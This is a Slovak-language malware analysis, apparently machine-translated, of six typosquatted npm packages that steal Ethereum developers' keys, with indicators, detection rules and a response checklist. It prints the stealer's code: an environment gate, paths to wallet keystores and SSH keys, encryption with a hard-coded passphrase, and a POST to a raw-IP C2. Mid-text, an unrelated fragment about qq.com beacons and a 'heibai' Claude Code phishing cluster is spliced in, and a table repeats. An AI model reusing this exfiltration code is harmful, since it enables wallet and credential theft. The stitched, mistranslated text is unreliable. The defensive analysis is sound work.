TL; DR
6. mája 2026 jeden vydavateľ npm, namikazesarada010206, spustil šesť škodlivých balíkov zameraných na vývojársky ekosystém Ethereum, Solidity a DeFi.
Balíky, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsa web3-utils-core, používali vierohodné názvy navrhnuté tak, aby vyzerali ako pomocné knižnice pre populárne nástroje Web3.
Všetkých šesť balíčkov obsahovalo to isté telemetry.js súbor. Súbor bol bajtovo identický v celom klastri s použitím SHA-256:
Malvér sa nespustí počas inštalácie. Neexistuje žiadny preinstall or postinstall háčik. Namiesto toho sa aktivuje, keď je balík importovaný cez require().
Na tom detaile záleží.
Implantát čaká, kým vývojár skutočne použije balík. Potom skontroluje, či pracovná stanica vyzerá ako skutočné vývojové prostredie Ethereum / Solidity. Hľadá kľúče Alchemy alebo Infura, súkromné kľúče, mnemotechnické pomôcky, kľúče nasadzovača alebo lokálny adresár Foundry.
Ak sa hostiteľ zhoduje, zlodej zhromaždí súkromné kľúče SSH, úložiská kľúčov peňaženiek Foundry / Geth / Brownie, .env* súbory a citlivé premenné prostredia. Zašifruje balík pomocou AES-256-GCM pomocou pevne zakódovanej prístupovej frázy a exfiltruje ho do surového koncového bodu IPv4 C2 s vypnutým overením TLS.
Systém včasného varovania pred škodlivým softvérom (MEW) od spoločnosti Xygeni potvrdil všetkých šesť balíkov ako škodlivých. Čaká sa na schválenie balíka s hlásením o odstránení z registra npm.
Klaster: Šesť balíkov, jeden vydavateľ
Účet vydavateľa namikazesarada010206 bola prepojená s neoverenou adresou Gmail namikazesarada010206@gmail.com.
Kampaň sa objavila ako jednodňová publikačná vlna 6. mája 2026. Všetkých šesť balíkov bolo verzovaných ako 1.0.0, nemal žiadne závislosti za behu a dodával iba tri súbory:
package.json index.js telemetry.js Tiež deklarovali rovnaký zdrojový repozitár:
https://github.com/harunosakura030303-maker/evmchain-config Prvé tri balíky boli zachytené skenermi MEW pri prvej publikácii. Zvyšné tri boli vynútene označené po kontrole profilu npm vydavateľa analytikmi. Keď boli rovnaké bajtovo identické telemetry.js bolo potvrdené v celom klastri, boli z dôvodu konzistencie uzavreté ako škodlivé.
| Balíček | verzia | Publikované npm | Lístok na MEW | Verdikt |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Zlomyseľný |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Zlomyseľný |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Zlomyseľný |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Zlomyseľný, podľa konzistencie |
| zlievárenské nástroje | 1.0.0 | 2026-05-06 | # 51071 | Zlomyseľný, podľa konzistencie |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Zlomyseľný, podľa konzistencie |
Stratégia pomenovania je jednoduchá, ale účinná.
Tieto balíky nekopírujú presné názvy upstreamových programov. Namiesto toho používajú vierohodné prípony „utility“, ako napríklad -core, -utilsa -utils-coreVďaka tomu vyzerajú ako sprievodné knižnice, ktoré by vývojár mohol očakávať v blízkosti nástrojov Web3.
| Škodlivý balík | Legitímny cieľ |
|---|---|
| viem-core | viem, populárny klient TypeScript pre Ethereum |
| viem-utils-core | viem |
| hardhat-core-utils | ochranná prilba, mainstreamové vývojové prostredie Solidity |
| evm-utils | Generický menný priestor nástrojov EVM |
| zlievárenské nástroje | zlievareň, nástrojová súprava Solidity |
| web3-utils-core | web3-utils, pomocníci Web3.js |
Toto je vzorec „doplnkového balíka“: nie „Ja som skutočný balík“, ale „Vyzerám ako rozumný pomocník okolo skutočného balíka“.
Pre vývojárov DeFi, ktorí sa rýchlo pohybujú, to stačí na vytvorenie rizika.
Čo sa stane pri importe balíka
Útočný reťazec je malý, zámerný a zameraný na prostredia krypto vývoja.
Neexistuje žiadny inštalačný háčik. Namiesto toho každé balenie obsahuje index.js ktorý exportuje funkcionalitu stubu a potom načíta modul škodlivej telemetrie.
require('./telemetry').init(); To znamená, že malvér sa aktivuje pri prvom importe.
To je pre útočníka z prevádzkového hľadiska užitočné. Mnoho skenerov a sandboxov sa zameriava na správanie počas inštalácie. Tento balík čaká, kým ho vývojár, skript zostavenia, testovacia sada alebo cesta za behu skutočne nepoužije.
Aktivačná brána: Spúšťa sa iba na skutočných vývojárskych pracovných staniciach Web3
Najdôležitejšou časťou implantátu je aktivačná brána.
Malvér kontroluje premenné prostredia, ktoré sa bežne nachádzajú na počítačoch vývojárov Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Taktiež skontroluje, či je Foundry nainštalovaný:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ak nie je splnená ani jedna z podmienok, funkcia vráti hodnotu a neurobí nič.
Vďaka tomu je balík v generických analytických prostrediach tichší. Pieskovisko bez kľúčov Foundry, Alchemy, Infura, súkromných kľúčov alebo mnemotechnických pomôcok môže pôsobiť neškodne.
Na zodpovedajúcom hostiteľovi čaká malvér 60 až 90 sekúnd pred zhromaždením:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Toto oneskorenie znižuje zjavnú koreláciu medzi dovozom a odvozom. .unref() volanie tiež umožňuje hostiteľskému procesu normálne ukončiť proces, ak bol balík importovaný v krátkodobom skripte.
Toto nie je hlučné správanie typu „rozbi a chyti“. Je to cielený stealer, ktorý je navrhnutý tak, aby sa nespúšťal, pokiaľ sa vývojárske prostredie neoplatí ukradnúť.
Čo zlodej zbiera
Po prejdení aktivačnej brány malvér zhromažďuje dáta zo zdrojov, ktoré sú pre vývoj Web3 najdôležitejšie: súkromné kľúče, úložiská kľúčov peňaženiek, prihlasovacie údaje pre nasadenie, cloudové tajné kľúče, npm tokeny a konfigurácia lokálneho projektu.
| zdroj | Čo sa zhromažďuje |
|---|---|
| process.env | Ľubovoľná premenná zodpovedajúca /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Súbory obsahujúce PRIVATE KEY alebo BEGIN OPENSSH vrátane celého obsahu súboru |
| ~/.foundry/keystores/* | Súbory úložiska kľúčov peňaženky Foundry |
| ~/.ethereum/keystore/* | Súbory úložiska kľúčov peňaženky Geth |
| ~/.brownie/účty/* | Súbory úložiska kľúčov peňaženky Brownie |
| ${cwd}/.env | Celý obsah súboru |
| ${cwd}/.env.local | Celý obsah súboru |
| ${cwd}/.env.production | Celý obsah súboru |
| ${cwd}/.env.development | Celý obsah súboru |
| os.názovhostiteľa() | Metadáta hostiteľa |
| crypto.randomUUID() | Identifikátor obete/relácie |
| Date.now() | Časová pečiatka zbierky |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Tokeny ATTA sú:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nedokázali sme potvrdiť, či telemetria pochádzala z vlastných analytických údajov operátora alebo zo samostatne monetizovaného kanála. Tokeny ATTA sú v oboch vzorkách, ktoré sme skúmali, rovnaké.
Klaster B: heibai
claude.hk OAuth Phishing + Únos adresy ANTHROPIC_BASE_URL
Vzorka z 1. apríla je hrubšou, skoršou časťou kampane.
heibai:2.1.88-claude.hk-4 bol publikovaný wuguoqiangvip28, účet vytvorený 7. júna 2025. Balík sa explicitne verzioval proti legitímnemu 2.1.88 Antropické uvoľňovanie.
Neobťažuje sa s CA-cert MITM. Namiesto toho klame používateľovi o koncovom bode OAuth.
Medzi škodlivé doplnky k uniknutému zdrojovému kódu Claude Code patria:
| zdroj | Čo sa zhromažďuje |
|---|---|
| process.env | Ľubovoľná premenná zodpovedajúca /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Súbory obsahujúce PRIVATE KEY alebo BEGIN OPENSSH vrátane celého obsahu súboru |
| ~/.foundry/keystores/* | Súbory úložiska kľúčov peňaženky Foundry |
| ~/.ethereum/keystore/* | Súbory úložiska kľúčov peňaženky Geth |
| ~/.brownie/účty/* | Súbory úložiska kľúčov peňaženky Brownie |
| ${cwd}/.env | Celý obsah súboru |
| ${cwd}/.env.local | Celý obsah súboru |
| ${cwd}/.env.production | Celý obsah súboru |
| ${cwd}/.env.development | Celý obsah súboru |
| os.názovhostiteľa() | Metadáta hostiteľa |
| crypto.randomUUID() | Identifikátor obete/relácie |
| Date.now() | Časová pečiatka zbierky |
Cieľový zoznam je veľmi špecifický. Nejde o všeobecnú krádež prehliadača ani o všeobecné získavanie prihlasovacích údajov. Je určený pre vývojárov, ktorí vytvárajú, testujú, nasadzujú alebo prevádzkujú aplikácie Ethereum.
Zahrnutie úložísk kľúčov Foundry, Geth a Brownie je obzvlášť dôležité. Tieto súbory môžu predstavovať priamy prístup k peňaženkám alebo identitám nasadenia. Ak ich útočník dokáže spárovať s heslami, mnemotechnickými pomôckami alebo tajnými údajmi prostredia, môže byť schopný presunúť finančné prostriedky, vydávať sa za nasadzovateľov alebo ohroziť operácie inteligentných zmlúv.
Šifrovanie pred exfiltráciou
Škodlivý softvér šifruje zhromaždené údaje pred ich odoslaním.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Pevne zakódovaná prístupová fráza je:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Konečné užitočné zaťaženie je zabalené ako JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Šifrovanie samo o sebe nerobí malvér pokročilejším. Sťažuje však kontrolu siete. Obranca sledujúci odchod by videl dáta JSON, ale nie ukradnuté kľúče, súbory peňaženky alebo... .env obsah bez pevne zakódovanej prístupovej frázy a dešifrovacej logiky.
Exfiltrácia do surového IPv4 C2
Cesta exfiltrácie je pevne zakódovaná:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Škodlivý softvér odosiela údaje do:
https://76.13.37.80:8443/api/v1/telemetry Vynikajú dva detaily.
Po prvé, C2 je surová IPv4 adresa, a nie doména. To eliminuje potrebu registrácie domény a zabraňuje niektorým detekciám založeným na doméne.
Po druhé, overenie TLS je zakázané pomocou:
rejectUnauthorized: false To umožňuje malvéru akceptovať akýkoľvek certifikát vrátane certifikátov s vlastným podpisom. Inými slovami, útočník získa šifrovaný prenos bez potreby platného verejného certifikátu.
Neexistuje logika opakovania ani záložný hostiteľ. Chyby sa ticho preberajú. Vďaka tomu balík zostáva v tichu, ak je C2 offline alebo nedostupný.
Prečo je táto kampaň dôležitá
Väčšina škodlivých npm balíkov zameraných na vývojárov sa zameriava na získavanie širokých prihlasovacích údajov: npm tokeny, kľúče AWS, tokeny GitHub alebo .npmrc súbory.
Táto kampaň zužuje cieľ.
Hľadá známky toho, že stroj patrí vývojárovi Etherea alebo Solidity. Potom vyberie presne tie aktíva, ktoré sú v danom prostredí dôležité: úložiská kľúčov peňaženiek, súkromné kľúče, mnemotechnické pomôcky, kľúče nasadzovača, .env súbory a SSH kľúče.
Vďaka tomu je kampaň pre Web3 tímy nebezpečnejšia ako generický npm stealer.
Úspešná infekcia by mohla odhaliť:
- Nasadzovacie peňaženky
- Kľúče správcu inteligentných zmlúv
- Kľúče poskytovateľa RPC
- Prihlasovacie údaje pre nasadenie do cloudu
- publikačné tokeny npm
- SSH prístup k infraštruktúre pre vývojárov alebo budovanie
- Tajomstvá projektu uložené v
.envsúbory - Úložiská kľúčov peňaženiek pre Foundry, Geth alebo Brownie
Názvy balíkov tiež jasne ukazujú sociálne inžinierstvo. Zameriavajú sa na ekosystém vývojárov Web3 prostredníctvom známych názvov nástrojov: viem, hardhat, foundry, evma web3.
Aktér nemusí robiť kompromisy v skutočných projektoch. Potrebuje len vývojára, ktorý nainštaluje niečo, čo vyzerá ako rozumný sprievodný balík.
Indikátory kompromitácie a odhalenia
| Balíky a vydavateľ | |
|---|---|
| Pole | Hodnota |
| vydavateľ npm | namikazesarada010206 |
| E-mail vydavateľa | namikazesarada010206@gmail.com |
| email overený | Nie |
| SCM overená | Nie |
| Skóre reputácie | 1.0 |
| Balíčky | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| verzia | Všetky 1.0.0 |
| Zdrojový repozitár | https://github.com/harunosakura030303-maker/evmchain-config |
| Potvrdené škodlivé | Všetkých šesť balíkov |
| sieť | |
|---|---|
| Typ | Hodnota |
| Koncový bod C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Port C2 | 8443/tcp |
| Správanie TLS | rejectUnauthorized: false |
| Schéma užitočného zaťaženia | {"v":2,"iv": ,,d": ,,t": } |
| Súbory a haše | |
|---|---|
| Typ | Hodnota |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Rozloženie balenia | package.json, index.js, telemetry.js |
| Počet súborov | 3 |
| Približná celková veľkosť | 3.4 KB |
Aktivačné signály
Škodlivý softvér kontroluje tieto premenné prostredia:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Taktiež kontroluje:
~/.foundry/ Cieľové cesty hostiteľa
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kolekcia Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Poznámky k detekcii
Túto kampaň zachytáva niekoľko pravidiel bez nutnosti úplnej behaviorálnej analýzy.
Najprv skenujte súbory lockfiles a vyhľadajte šesť názvov škodlivých balíkov:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Akýkoľvek zápas v package-lock.json, yarn.lock, pnpm-lock.yaml, Alebo node_modules história by sa mala brať ako vážna udalosť.
Po druhé, monitorujte procesy Node.js, ktoré čítajú cesty k úložisku kľúčov peňaženky:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Toto je zriedka legitímne správanie pre balík importovaný ako pomocná závislosť. Je to obzvlášť podozrivé, keď po ňom nasleduje odchádzajúca sieťová aktivita.
Po tretie, blokujte alebo upozorňujte na HTTPS pripojenia, aby:
76.13.37.80:8443 Najmä ak je cesta požiadavky:
/api/v1/telemetry Po štvrté, hľadajte npm balíky, ktoré kombinujú tieto vlastnosti:
- Nový alebo málo reputujúci vydavateľ
- Neoverený účet Gmail
- Názov balíka susediaceho s Web3
- Žiadna zmysluplná história úložiska
- Rozloženie malého balenia
index.jsktorý načíta telemetrický alebo pomocný súbor- Žiadne závislosti za behu
- Zbierka citlivých premenných prostredia
- Prístup k úložisku kľúčov peňaženky
Tento vzor je užitočnejší ako jeden IOC, pretože ďalší balík môže zmeniť IP adresu, ale zachovať rovnakú logiku zacielenia.
Kontrolný zoznam pre reakciu na kompromis
Ak vývojár použil jeden zo šiestich balíkov a jeho prostredie zodpovedalo aktivačnej bráne, považovať pracovnú stanicu za kompromitovanú.
To zahŕňa počítače s nainštalovaným Foundry, kľúčmi Alchemy alebo Infura v prostredí, súkromnými kľúčmi, mnemotechnickými pomôckami alebo kľúčmi nasadzovača.
Odporúčaná odpoveď:
- Odpojte hostiteľa od siete.
- zachovať
node_modules, súbory zámkov, história shellu a relevantné protokoly pre forenznú analýzu. - Otočte každý pár kľúčov SSH pod
~/.ssh/. - Striedajte kľúče peňaženky pre každý úložný priestor kľúčov pod
~/.foundry,~/.ethereuma~/.brownie. - Presuň finančné prostriedky do nových peňaženiek.
- Otočte každé tajné tajomstvo uložené v
.env*súbory v repozitároch, v ktorých vývojár pracoval. - Striedajte tajné atribúty prostredia zodpovedajúce regulárnemu výrazu kolekcie vrátane kľúčov AWS, tokenov npm, tokenov nasadenia, kľúčov API, súkromných kľúčov, semien a mnemotechnických pomôcok.
- Auditujte aktivitu cloudu, npm, GitHubu, poskytovateľa RPC a blockchainu od prvej inštalácie balíka.
- Pred opätovným použitím znova vytvorte obraz pracovnej stanice.
Čo by si mali obrancovia odniesť
Táto kampaň ukazuje, ako sa typosquatting v npm vyvíja v ekosystémoch pre vývojárov s vysokou hodnotou.
Aktér nepotreboval perzistenciu. Nepotrebovali zmätok. Nepotrebovali ani spustenie počas inštalácie.
Namiesto toho sa spoliehali na tri veci:
- Pravdepodobné názvy balíkov Web3
- Aktivácia iba na skutočných krypto vývojových strojoch
- Priama krádež súborov a tajomstiev, ktoré sú pre vývojárov Etherea najdôležitejšie
Vďaka tomu je kampaň ľahko prehliadnuteľná pri širokom skúmaní a nebezpečná, keď sa dostane do správneho prostredia.
Pre tímy Web3 je ponaučenie jasné: zaobchádzajte s názvami závislostí ako so súčasťou vášho modelu hrozieb. Balík, ktorý vyzerá ako neškodný pomocník, sa stále môže stať najkratšou cestou k napadnutiu peňaženky.
Nahlásené do registra npm. Tento príspevok aktualizujeme po odstránení účtu vydavateľa a balíkov.




